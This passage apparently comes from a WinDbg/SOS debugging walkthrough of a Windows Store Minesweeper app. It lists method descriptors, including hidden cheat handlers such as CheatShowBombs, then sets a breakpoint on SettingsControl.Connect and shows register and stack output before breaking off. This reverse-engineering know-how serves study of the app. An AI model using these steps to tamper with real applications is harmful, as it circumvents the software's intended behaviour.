Windows.UI.Xaml.UIElement.remove\_ManipulationInertiaStarting\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a052b8 3092c318 NONE  
Windows.UI.Xaml.UIElement.add\_ManipulationStarted\(Windows.UI.Xaml.Input.ManipulationStartedEventHandler\)

30a052c8 3092c324 NONE  
Windows.UI.Xaml.UIElement.remove\_ManipulationStarted\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a052d8 3092c330 NONE  
Windows.UI.Xaml.UIElement.add\_ManipulationDelta\(Windows.UI.Xaml.Input.ManipulationDeltaEventHandler\)

30a052e8 3092c33c NONE
Windows.UI.Xaml.UIElement.remove\_ManipulationDelta\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a052f8 3092c348 NONE  
Windows.UI.Xaml.UIElement.add\_ManipulationCompleted\(Windows.UI.Xaml.Input.ManipulationCompletedEventHandler\)

30a05308 3092c354 NONE
Windows.UI.Xaml.UIElement.remove\_ManipulationCompleted\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05318 3092c36c NONE  
Windows.UI.Xaml.UIElement.Measure\(Windows.Foundation.Size\)

30a05328 3092c378 NONE
Windows.UI.Xaml.UIElement.Arrange\(Windows.Foundation.Rect\)

30a05338 3092c384 NONE  
Windows.UI.Xaml.UIElement.CapturePointer\(Windows.UI.Xaml.Input.Pointer\)

30a05348 3092c390 NONE  
Windows.UI.Xaml.UIElement.ReleasePointerCapture\(Windows.UI.Xaml.Input.Pointer\)

30a05358 3092c39c NONE Windows.UI.Xaml.UIElement.ReleasePointerCaptures\(\)

30a05368 3092c3a8 NONE  
Windows.UI.Xaml.UIElement.AddHandler\(Windows.UI.Xaml.RoutedEvent,  
System.Object, Boolean\)

30a05378 3092c3b4 NONE  
Windows.UI.Xaml.UIElement.RemoveHandler\(Windows.UI.Xaml.RoutedEvent,
System.Object\)

30a05388 3092c3c0 NONE  
Windows.UI.Xaml.UIElement.TransformToVisual\(Windows.UI.Xaml.UIElement\)

30a05398 3092c3cc NONE  
Windows.UI.Xaml.UIElement.InvalidateMeasure\(\)

30a053a8 3092c3d8 NONE  
Windows.UI.Xaml.UIElement.InvalidateArrange\(\)

30a053b8 3092c3e4 NONE  
Windows.UI.Xaml.UIElement.UpdateLayout\(\)

30a053c8 3092c3f0 NONE  
Windows.UI.Xaml.UIElement.get\_CompositeMode\(\)

30a053d8 3092c3fc NONE  
Windows.UI.Xaml.UIElement.put\_CompositeMode\(Windows.UI.Xaml.Media.ElementCompositeMode\)

30a053e8 3092c408 NONE  
Windows.UI.Xaml.UIElement.CancelDirectManipulations\(\)

30a053f8 3092c414 NONE  
Windows.UI.Xaml.UIElement.OnCreateAutomationPeer\(\)

30a05408 3092c420 NONE  
Windows.UI.Xaml.UIElement.OnDisconnectVisualChildren\(\)

30a05418 3092c42c NONE
Windows.UI.Xaml.UIElement.FindSubElementsForTouchTargeting\(Windows.Foundation.Point,  
Windows.Foundation.Rect\)

30a05624 3092c6e0 NONE  
Windows.UI.Xaml.FrameworkElement.get\_Triggers\(\)

30a05634 3092c6ec NONE  
Windows.UI.Xaml.FrameworkElement.get\_Resources\(\)

30a05644 3092c6f8 NONE  
Windows.UI.Xaml.FrameworkElement.put\_Resources\(Windows.UI.Xaml.ResourceDictionary\)

30a05654 3092c704 NONE  
Windows.UI.Xaml.FrameworkElement.get\_Tag\(\)

30a05664 3092c710 NONE  
Windows.UI.Xaml.FrameworkElement.put\_Tag\(System.Object\)

30a05674 3092c71c NONE  
Windows.UI.Xaml.FrameworkElement.get\_Language\(\)

30a05684 3092c728 NONE  
Windows.UI.Xaml.FrameworkElement.put\_Language\(System.String\)

30a05694 3092c734 NONE  
Windows.UI.Xaml.FrameworkElement.get\_ActualWidth\(\)

30a056a4 3092c740 NONE Windows.UI.Xaml.FrameworkElement.get\_ActualHeight\(\)

30a056b4 3092c74c NONE  
Windows.UI.Xaml.FrameworkElement.get\_Width\(\)

30a056c4 3092c758 NONE  
Windows.UI.Xaml.FrameworkElement.put\_Width\(Double\)

30a056d4 3092c764 NONE Windows.UI.Xaml.FrameworkElement.get\_Height\(\)

30a056e4 3092c770 NONE  
Windows.UI.Xaml.FrameworkElement.put\_Height\(Double\)

30a056f4 3092c77c NONE  
Windows.UI.Xaml.FrameworkElement.get\_MinWidth\(\)

30a05704 3092c788 NONE  
Windows.UI.Xaml.FrameworkElement.put\_MinWidth\(Double\)

30a05714 3092c794 NONE  
Windows.UI.Xaml.FrameworkElement.get\_MaxWidth\(\)

30a05724 3092c7a0 NONE  
Windows.UI.Xaml.FrameworkElement.put\_MaxWidth\(Double\)

30a05734 3092c7ac NONE  
Windows.UI.Xaml.FrameworkElement.get\_MinHeight\(\)

30a05744 3092c7b8 NONE
Windows.UI.Xaml.FrameworkElement.put\_MinHeight\(Double\)

30a05754 3092c7c4 NONE  
Windows.UI.Xaml.FrameworkElement.get\_MaxHeight\(\)

30a05764 3092c7d0 NONE  
Windows.UI.Xaml.FrameworkElement.put\_MaxHeight\(Double\)

30a05774 3092c7dc NONE  
Windows.UI.Xaml.FrameworkElement.get\_HorizontalAlignment\(\)

30a05784 3092c7e8 NONE  
Windows.UI.Xaml.FrameworkElement.put\_HorizontalAlignment\(Windows.UI.Xaml.HorizontalAlignment\)

30a05794 3092c7f4 NONE  
Windows.UI.Xaml.FrameworkElement.get\_VerticalAlignment\(\)

30a057a4 3092c800 NONE
Windows.UI.Xaml.FrameworkElement.put\_VerticalAlignment\(Windows.UI.Xaml.VerticalAlignment\)

30a057b4 3092c80c NONE  
Windows.UI.Xaml.FrameworkElement.get\_Margin\(\)

30a057c4 3092c818 NONE  
Windows.UI.Xaml.FrameworkElement.put\_Margin\(Windows.UI.Xaml.Thickness\)

30a057d4 3092c824 NONE  
Windows.UI.Xaml.FrameworkElement.get\_Name\(\)

30a057e4 3092c830 NONE  
Windows.UI.Xaml.FrameworkElement.put\_Name\(System.String\)

30a057f4 3092c83c NONE  
Windows.UI.Xaml.FrameworkElement.get\_BaseUri\(\)

30a05804 3092c848 NONE Windows.UI.Xaml.FrameworkElement.get\_DataContext\(\)

30a05814 3092c854 NONE  
Windows.UI.Xaml.FrameworkElement.put\_DataContext\(System.Object\)

30a05824 3092c860 NONE  
Windows.UI.Xaml.FrameworkElement.get\_Style\(\)

30a05834 3092c86c NONE  
Windows.UI.Xaml.FrameworkElement.put\_Style\(Windows.UI.Xaml.Style\)

30a05844 3092c878 NONE  
Windows.UI.Xaml.FrameworkElement.get\_Parent\(\)

30a05854 3092c884 NONE  
Windows.UI.Xaml.FrameworkElement.get\_FlowDirection\(\)

30a05864 3092c890 NONE  
Windows.UI.Xaml.FrameworkElement.put\_FlowDirection\(Windows.UI.Xaml.FlowDirection\)

30a05874 3092c89c NONE  
Windows.UI.Xaml.FrameworkElement.add\_Loaded\(Windows.UI.Xaml.RoutedEventHandler\)

30a05884 3092c8a8 NONE  
Windows.UI.Xaml.FrameworkElement.remove\_Loaded\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05894 3092c8b4 NONE  
Windows.UI.Xaml.FrameworkElement.add\_Unloaded\(Windows.UI.Xaml.RoutedEventHandler\)

30a058a4 3092c8c0 NONE  
Windows.UI.Xaml.FrameworkElement.remove\_Unloaded\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a058b4 3092c8cc NONE  
Windows.UI.Xaml.FrameworkElement.add\_SizeChanged\(Windows.UI.Xaml.SizeChangedEventHandler\)

30a058c4 3092c8d8 NONE  
Windows.UI.Xaml.FrameworkElement.remove\_SizeChanged\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a058d4 3092c8e4 NONE  
Windows.UI.Xaml.FrameworkElement.add\_LayoutUpdated\(System.EventHandler\`1<System.Object>\)

30a058e4 3092c8f0 NONE  
Windows.UI.Xaml.FrameworkElement.remove\_LayoutUpdated\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a058f4 3092c8fc NONE  
Windows.UI.Xaml.FrameworkElement.FindName\(System.String\)

30a05904 3092c908 NONE  
Windows.UI.Xaml.FrameworkElement.SetBinding\(Windows.UI.Xaml.DependencyProperty,  
Windows.UI.Xaml.Data.BindingBase\)

30a05914 3092c914 NONE  
Windows.UI.Xaml.FrameworkElement.get\_RequestedTheme\(\)

30a05924 3092c920 NONE  
Windows.UI.Xaml.FrameworkElement.put\_RequestedTheme\(Windows.UI.Xaml.ElementTheme\)

30a05934 3092c92c NONE  
Windows.UI.Xaml.FrameworkElement.add\_DataContextChanged\(Windows.Foundation.TypedEventHandler\`2<Windows.UI.Xaml.FrameworkElement,Windows.UI.Xaml.DataContextChangedEventArgs>\)

30a05944 3092c938 NONE  
Windows.UI.Xaml.FrameworkElement.remove\_DataContextChanged\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a05954 3092c944 NONE  
Windows.UI.Xaml.FrameworkElement.GetBindingExpression\(Windows.UI.Xaml.DependencyProperty\)

30a05964 3092c950 NONE  
Windows.UI.Xaml.FrameworkElement.MeasureOverride\(Windows.Foundation.Size\)

30a05974 3092c95c NONE
Windows.UI.Xaml.FrameworkElement.ArrangeOverride\(Windows.Foundation.Size\)

30a05984 3092c968 NONE  
Windows.UI.Xaml.FrameworkElement.OnApplyTemplate\(\)

30a05994 3092c974 NONE  
Windows.UI.Xaml.FrameworkElement.GoToElementStateCore\(System.String,
Boolean\)

30a0d778 30937528 NONE  
Windows.UI.Xaml.Controls.Control.get\_FontSize\(\)

30a0d788 30937534 NONE  
Windows.UI.Xaml.Controls.Control.put\_FontSize\(Double\)

30a0d798 30937540 NONE  
Windows.UI.Xaml.Controls.Control.get\_FontFamily\(\)

30a0d7a8 3093754c NONE
Windows.UI.Xaml.Controls.Control.put\_FontFamily\(Windows.UI.Xaml.Media.FontFamily\)

30a0d7b8 30937558 NONE  
Windows.UI.Xaml.Controls.Control.get\_FontWeight\(\)

30a0d7c8 30937564 NONE  
Windows.UI.Xaml.Controls.Control.put\_FontWeight\(Windows.UI.Text.FontWeight\)

30a0d7d8 30937570 NONE  
Windows.UI.Xaml.Controls.Control.get\_FontStyle\(\)

30a0d7e8 3093757c NONE  
Windows.UI.Xaml.Controls.Control.put\_FontStyle\(Windows.UI.Text.FontStyle\)

30a0d7f8 30937588 NONE  
Windows.UI.Xaml.Controls.Control.get\_FontStretch\(\)

30a0d808 30937594 NONE  
Windows.UI.Xaml.Controls.Control.put\_FontStretch\(Windows.UI.Text.FontStretch\)

30a0d818 309375a0 NONE  
Windows.UI.Xaml.Controls.Control.get\_CharacterSpacing\(\)

30a0d828 309375ac NONE  
Windows.UI.Xaml.Controls.Control.put\_CharacterSpacing\(Int32\)

30a0d838 309375b8 NONE  
Windows.UI.Xaml.Controls.Control.get\_Foreground\(\)

30a0d848 309375c4 NONE  
Windows.UI.Xaml.Controls.Control.put\_Foreground\(Windows.UI.Xaml.Media.Brush\)

30a0d858 309375d0 NONE  
Windows.UI.Xaml.Controls.Control.get\_IsTabStop\(\)

30a0d868 309375dc NONE  
Windows.UI.Xaml.Controls.Control.put\_IsTabStop\(Boolean\)

30a0d878 309375e8 NONE  
Windows.UI.Xaml.Controls.Control.get\_IsEnabled\(\)

30a0d888 309375f4 NONE  
Windows.UI.Xaml.Controls.Control.put\_IsEnabled\(Boolean\)

30a0d898 30937600 NONE Windows.UI.Xaml.Controls.Control.get\_TabIndex\(\)

30a0d8a8 3093760c NONE  
Windows.UI.Xaml.Controls.Control.put\_TabIndex\(Int32\)

30a0d8b8 30937618 NONE  
Windows.UI.Xaml.Controls.Control.get\_TabNavigation\(\)

30a0d8c8 30937624 NONE
Windows.UI.Xaml.Controls.Control.put\_TabNavigation\(Windows.UI.Xaml.Input.KeyboardNavigationMode\)

30a0d8d8 30937630 NONE  
Windows.UI.Xaml.Controls.Control.get\_Template\(\)

30a0d8e8 3093763c NONE  
Windows.UI.Xaml.Controls.Control.put\_Template\(Windows.UI.Xaml.Controls.ControlTemplate\)

30a0d8f8 30937648 NONE  
Windows.UI.Xaml.Controls.Control.get\_Padding\(\)

30a0d908 30937654 NONE  
Windows.UI.Xaml.Controls.Control.put\_Padding\(Windows.UI.Xaml.Thickness\)

30a0d918 30937660 NONE  
Windows.UI.Xaml.Controls.Control.get\_HorizontalContentAlignment\(\)

30a0d928 3093766c NONE  
Windows.UI.Xaml.Controls.Control.put\_HorizontalContentAlignment\(Windows.UI.Xaml.HorizontalAlignment\)

30a0d938 30937678 NONE  
Windows.UI.Xaml.Controls.Control.get\_VerticalContentAlignment\(\)

30a0d948 30937684 NONE
Windows.UI.Xaml.Controls.Control.put\_VerticalContentAlignment\(Windows.UI.Xaml.VerticalAlignment\)

30a0d958 30937690 NONE  
Windows.UI.Xaml.Controls.Control.get\_Background\(\)

30a0d968 3093769c NONE  
Windows.UI.Xaml.Controls.Control.put\_Background\(Windows.UI.Xaml.Media.Brush\)

30a0d978 309376a8 NONE  
Windows.UI.Xaml.Controls.Control.get\_BorderThickness\(\)

30a0d988 309376b4 NONE  
Windows.UI.Xaml.Controls.Control.put\_BorderThickness\(Windows.UI.Xaml.Thickness\)

30a0d998 309376c0 NONE  
Windows.UI.Xaml.Controls.Control.get\_BorderBrush\(\)

30a0d9a8 309376cc NONE  
Windows.UI.Xaml.Controls.Control.put\_BorderBrush\(Windows.UI.Xaml.Media.Brush\)

30a0d9b8 309376d8 NONE  
Windows.UI.Xaml.Controls.Control.get\_FocusState\(\)

30a0d9c8 309376e4 NONE  
Windows.UI.Xaml.Controls.Control.add\_IsEnabledChanged\(Windows.UI.Xaml.DependencyPropertyChangedEventHandler\)

30a0d9d8 309376f0 NONE  
Windows.UI.Xaml.Controls.Control.remove\_IsEnabledChanged\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a0d9e8 309376fc NONE Windows.UI.Xaml.Controls.Control.ApplyTemplate\(\)

30a0d9f8 30937708 NONE  
Windows.UI.Xaml.Controls.Control.Focus\(Windows.UI.Xaml.FocusState\)

30a0da08 30937714 NONE  
Windows.UI.Xaml.Controls.Control.OnPointerEntered\(Windows.UI.Xaml.Input.PointerRoutedEventArgs\)

30a0da18 30937720 NONE  
Windows.UI.Xaml.Controls.Control.OnPointerPressed\(Windows.UI.Xaml.Input.PointerRoutedEventArgs\)

30a0da28 3093772c NONE  
Windows.UI.Xaml.Controls.Control.OnPointerMoved\(Windows.UI.Xaml.Input.PointerRoutedEventArgs\)

30a0da38 30937738 NONE  
Windows.UI.Xaml.Controls.Control.OnPointerReleased\(Windows.UI.Xaml.Input.PointerRoutedEventArgs\)

30a0da48 30937744 NONE  
Windows.UI.Xaml.Controls.Control.OnPointerExited\(Windows.UI.Xaml.Input.PointerRoutedEventArgs\)

30a0da58 30937750 NONE
Windows.UI.Xaml.Controls.Control.OnPointerCaptureLost\(Windows.UI.Xaml.Input.PointerRoutedEventArgs\)

30a0da68 3093775c NONE  
Windows.UI.Xaml.Controls.Control.OnPointerCanceled\(Windows.UI.Xaml.Input.PointerRoutedEventArgs\)

30a0da78 30937768 NONE
Windows.UI.Xaml.Controls.Control.OnPointerWheelChanged\(Windows.UI.Xaml.Input.PointerRoutedEventArgs\)

30a0da88 30937774 NONE  
Windows.UI.Xaml.Controls.Control.OnTapped\(Windows.UI.Xaml.Input.TappedRoutedEventArgs\)

30a0da98 30937780 NONE
Windows.UI.Xaml.Controls.Control.OnDoubleTapped\(Windows.UI.Xaml.Input.DoubleTappedRoutedEventArgs\)

30a0daa8 3093778c NONE  
Windows.UI.Xaml.Controls.Control.OnHolding\(Windows.UI.Xaml.Input.HoldingRoutedEventArgs\)

30a0dab8 30937798 NONE  
Windows.UI.Xaml.Controls.Control.OnRightTapped\(Windows.UI.Xaml.Input.RightTappedRoutedEventArgs\)

30a0dac8 309377a4 NONE  
Windows.UI.Xaml.Controls.Control.OnManipulationStarting\(Windows.UI.Xaml.Input.ManipulationStartingRoutedEventArgs\)

30a0dad8 309377b0 NONE  
Windows.UI.Xaml.Controls.Control.OnManipulationInertiaStarting\(Windows.UI.Xaml.Input.ManipulationInertiaStartingRoutedEventArgs\)

30a0dae8 309377bc NONE  
Windows.UI.Xaml.Controls.Control.OnManipulationStarted\(Windows.UI.Xaml.Input.ManipulationStartedRoutedEventArgs\)

30a0daf8 309377c8 NONE
Windows.UI.Xaml.Controls.Control.OnManipulationDelta\(Windows.UI.Xaml.Input.ManipulationDeltaRoutedEventArgs\)

30a0db08 309377d4 NONE  
Windows.UI.Xaml.Controls.Control.OnManipulationCompleted\(Windows.UI.Xaml.Input.ManipulationCompletedRoutedEventArgs\)

30a0db18 309377e0 NONE  
Windows.UI.Xaml.Controls.Control.OnKeyUp\(Windows.UI.Xaml.Input.KeyRoutedEventArgs\)

30a0db28 309377ec NONE  
Windows.UI.Xaml.Controls.Control.OnKeyDown\(Windows.UI.Xaml.Input.KeyRoutedEventArgs\)

30a0db38 309377f8 NONE
Windows.UI.Xaml.Controls.Control.OnGotFocus\(Windows.UI.Xaml.RoutedEventArgs\)

30a0db48 30937804 NONE  
Windows.UI.Xaml.Controls.Control.OnLostFocus\(Windows.UI.Xaml.RoutedEventArgs\)

30a0db58 30937810 NONE  
Windows.UI.Xaml.Controls.Control.OnDragEnter\(Windows.UI.Xaml.DragEventArgs\)

30a0db68 3093781c NONE  
Windows.UI.Xaml.Controls.Control.OnDragLeave\(Windows.UI.Xaml.DragEventArgs\)

30a0db78 30937828 NONE  
Windows.UI.Xaml.Controls.Control.OnDragOver\(Windows.UI.Xaml.DragEventArgs\)

30a0db88 30937834 NONE
Windows.UI.Xaml.Controls.Control.OnDrop\(Windows.UI.Xaml.DragEventArgs\)

30a0db98 30937840 NONE  
Windows.UI.Xaml.Controls.Control.get\_DefaultStyleKey\(\)

30a0dba8 3093784c NONE  
Windows.UI.Xaml.Controls.Control.put\_DefaultStyleKey\(System.Object\)

30a0dbb8 30937858 NONE
Windows.UI.Xaml.Controls.Control.GetTemplateChild\(System.String\)

30a0dcc8 309379c8 NONE  
Windows.UI.Xaml.Controls.ContentControl.get\_Content\(\)

30a0dcd8 309379d4 NONE  
Windows.UI.Xaml.Controls.ContentControl.put\_Content\(System.Object\)

30a0dce8 309379e0 NONE
Windows.UI.Xaml.Controls.ContentControl.get\_ContentTemplate\(\)

30a0dcf8 309379ec NONE  
Windows.UI.Xaml.Controls.ContentControl.put\_ContentTemplate\(Windows.UI.Xaml.DataTemplate\)

30a0dd08 309379f8 NONE  
Windows.UI.Xaml.Controls.ContentControl.get\_ContentTemplateSelector\(\)

30a0dd18 30937a04 NONE  
Windows.UI.Xaml.Controls.ContentControl.put\_ContentTemplateSelector\(Windows.UI.Xaml.Controls.DataTemplateSelector\)

30a0dd28 30937a10 NONE  
Windows.UI.Xaml.Controls.ContentControl.get\_ContentTransitions\(\)

30a0dd38 30937a1c NONE
Windows.UI.Xaml.Controls.ContentControl.put\_ContentTransitions\(Windows.UI.Xaml.Media.Animation.TransitionCollection\)

30a0dd48 30937a28 NONE  
Windows.UI.Xaml.Controls.ContentControl.get\_ContentTemplateRoot\(\)

30a0dd58 30937a34 NONE
Windows.UI.Xaml.Controls.ContentControl.OnContentChanged\(System.Object,  
System.Object\)

30a0dd68 30937a40 NONE  
Windows.UI.Xaml.Controls.ContentControl.OnContentTemplateChanged\(Windows.UI.Xaml.DataTemplate,  
Windows.UI.Xaml.DataTemplate\)

30a0dd78 30937a4c NONE
Windows.UI.Xaml.Controls.ContentControl.OnContentTemplateSelectorChanged\(Windows.UI.Xaml.Controls.DataTemplateSelector,  
Windows.UI.Xaml.Controls.DataTemplateSelector\)

30a0f1c0 30938d98 NONE  
Windows.UI.Xaml.Controls.SettingsFlyout.get\_Title\(\)

30a0f1d0 30938da4 NONE
Windows.UI.Xaml.Controls.SettingsFlyout.put\_Title\(System.String\)

30a0f1e0 30938db0 NONE  
Windows.UI.Xaml.Controls.SettingsFlyout.get\_HeaderBackground\(\)

30a0f1f0 30938dbc NONE  
Windows.UI.Xaml.Controls.SettingsFlyout.put\_HeaderBackground\(Windows.UI.Xaml.Media.Brush\)

30a0f200 30938dc8 NONE  
Windows.UI.Xaml.Controls.SettingsFlyout.get\_HeaderForeground\(\)

30a0f210 30938dd4 NONE  
Windows.UI.Xaml.Controls.SettingsFlyout.put\_HeaderForeground\(Windows.UI.Xaml.Media.Brush\)

30a0f220 30938de0 NONE
Windows.UI.Xaml.Controls.SettingsFlyout.get\_IconSource\(\)

30a0f230 30938dec NONE  
Windows.UI.Xaml.Controls.SettingsFlyout.put\_IconSource\(Windows.UI.Xaml.Media.ImageSource\)

30a0f240 30938df8 NONE  
Windows.UI.Xaml.Controls.SettingsFlyout.get\_TemplateSettings\(\)

30a0f250 30938e04 NONE  
Windows.UI.Xaml.Controls.SettingsFlyout.add\_BackClick\(Windows.UI.Xaml.Controls.BackClickEventHandler\)

30a0f260 30938e10 NONE  
Windows.UI.Xaml.Controls.SettingsFlyout.remove\_BackClick\(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken\)

30a0f270 30938e1c NONE  
Windows.UI.Xaml.Controls.SettingsFlyout.Show\(\)

30a0f280 30938e28 NONE  
Windows.UI.Xaml.Controls.SettingsFlyout.ShowIndependent\(\)

30a0f290 30938e34 NONE  
Windows.UI.Xaml.Controls.SettingsFlyout.Hide\(\)

51dfa570 51ddf3f8 PreJIT
Minesweeper.MvvmStructure.View.Controls.SettingsControl.OnLoaded\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

0f6c59a0 0f69cbb0 PreJIT  
Common.Controls.SettingsFlyoutControl.OnUnloaded\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa568  
51ddf620 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.Connect\(Int32,
System.Object\)

51dfa2c4 51ddf3d8 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl..ctor\(\)

51dfa2a4 51ddf3b8 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.get\_OkText\(\)

51dfa2b4 51ddf3c8 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.get\_CancelText\(\)

51dfa2d4 51ddf3e8 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.Refresh\(\)

51dfa2e4 51ddf408 PreJIT
Minesweeper.MvvmStructure.View.Controls.SettingsControl.get\_PageModel\(\)

51dfa2f4 51ddf418 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.FillAwards\(\)

51dfa304 51ddf428 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.UpdateControls\(\)

51dfa314 51ddf438 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.SoundsValueChanged\(System.Object,  
Windows.UI.Xaml.Controls.Primitives.RangeBaseValueChangedEventArgs\)

51dfa324 51ddf448 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.HoldValueChanged\(System.Object,  
Windows.UI.Xaml.Controls.Primitives.RangeBaseValueChangedEventArgs\)

51dfa334 51ddf458 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.OnBack\(\)

51dfa344 51ddf468 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.TimerOnOffToggled\(System.Object,  
System.Object\)

51dfa354 51ddf474 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.TipsOnOffToggled\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa364 51ddf480 PreJIT
Minesweeper.MvvmStructure.View.Controls.SettingsControl.QuestionMarkOnOffToggled\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa374 51ddf48c PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.OneTapOnOffToggled\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa384 51ddf498 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.QuickChangeOnOffToggled\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa394 51ddf4a4 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.SwipeInControlsOnOffToggled\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa3a4 51ddf4b0 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.OnOfGameEndAnimationsToggled\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa3b4 51ddf4bc PreJIT
Minesweeper.MvvmStructure.View.Controls.SettingsControl.CheatShowBombs\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa3c4 51ddf4cc PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.CheatAward\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa3d4 51ddf4dc PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.CheatPlus100FlaggedMines\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa3e4 51ddf4ec PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.CheatPlus100UncoverSquares\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa3f4 51ddf4fc PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.CheatPlus50Ladybugs\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa404 51ddf50c PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.CheatPlus100DestroyedTraps\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa414 51ddf51c PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.CheatShowPatterns\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa424 51ddf52c PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.SoundsSliderOnValueChangeComplete\(System.Object\)

51dfa434 51ddf538 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.CheatQuestionsOnBombs\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa444 51ddf548 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.OnResetStatisticClick\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa454 51ddf558 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.ShowResetStatisticsDialog\(\)

51dfa464 51ddf568 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.OnConfirmResetStatistics\(\)

51dfa474 51ddf578 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.OnResetSettingsClick\(System.Object,  
Windows.UI.Xaml.RoutedEventArgs\)

51dfa484 51ddf588 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.ShowResetSettingsDialog\(\)

51dfa494 51ddf598 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.OnConfirmResetSettings\(\)

51dfa4a4 51ddf5a4 PreJIT
Minesweeper.MvvmStructure.View.Controls.SettingsControl.ResetSettings\(\)

51dfa4b4 51ddf5b0 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.ShowResetSettingsSuccessDialog\(\)

51dfa4c4 51ddf5c0 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.OnStatReseted\(\)

51dfa4d4 51ddf5d0 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.ShowResetStatsSuccessDialog\(\)

51dfa4e4 51ddf5e0 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.ResetStat\(\)

51dfa4f4 51ddf5f0 PreJIT
Minesweeper.MvvmStructure.View.Controls.SettingsControl.ShowResetStatsFailedDialog\(\)

51dfa504 51ddf600 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.OnSize\(System.Object,  
Windows.UI.Xaml.SizeChangedEventArgs\)

51dfa514 51ddf610 PreJIT
Minesweeper.MvvmStructure.View.Controls.SettingsControl.InitializeComponent\(\)

51dfa524 51ddf630 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.<.ctor>b\_\_0\(System.Object,  
Windows.UI.Xaml.Controls.BackClickEventArgs\)

51dfa534 51ddf640 PreJIT
Minesweeper.MvvmStructure.View.Controls.SettingsControl.<ShowResetStatisticsDialog>b\_\_1c\(Windows.UI.Popups.IUICommand\)

51dfa544 51ddf650 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.<ShowResetSettingsDialog>b\_\_1e\(Windows.UI.Popups.IUICommand\)

51dfa554 51ddf660 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.<ShowResetStatsFailedDialog>b\_\_26\(Windows.UI.Popups.IUICommand\)

51dfa578 51ddf670 PreJIT  
Minesweeper.MvvmStructure.View.Controls.SettingsControl.<OnSize>b\_\_27\(Windows.UI.Xaml.Controls.Button\)

\- Search for
**Minesweeper.MvvmStructure.View.Controls.SettingsControl.Connect** and get
the Type Reference entry:

**\!bpmd -md 51ddf620**

\- Then we press "**g** " continue, start a game and press **F5** for
settings...

Breakpoint 1 hit

eax=2a78b880 ebx=00000008 ecx=2a78a244  
edx=00000001 esi=2a78a244 edi=00000001

eip=51e9a364 esp=04a6ec2c  
ebp=04a6ec54 iopl=0 nv up ei pl  
zr na pe nc

cs=0023  
ss=002b ds=002b es=002b  
fs=0053 gs=002b efl=00000246

Minesweeper\_ni\!Minesweeper.MvvmStructure.View.Controls.SettingsControl.Connect\(Int32,  
System.Object\):

51e9a364 55 push ebp

**\!clrstack**

OS Thread Id: 0x75e8 \(6\)

Child SP  
IP Call Site

04a6ec2c 51e9a364
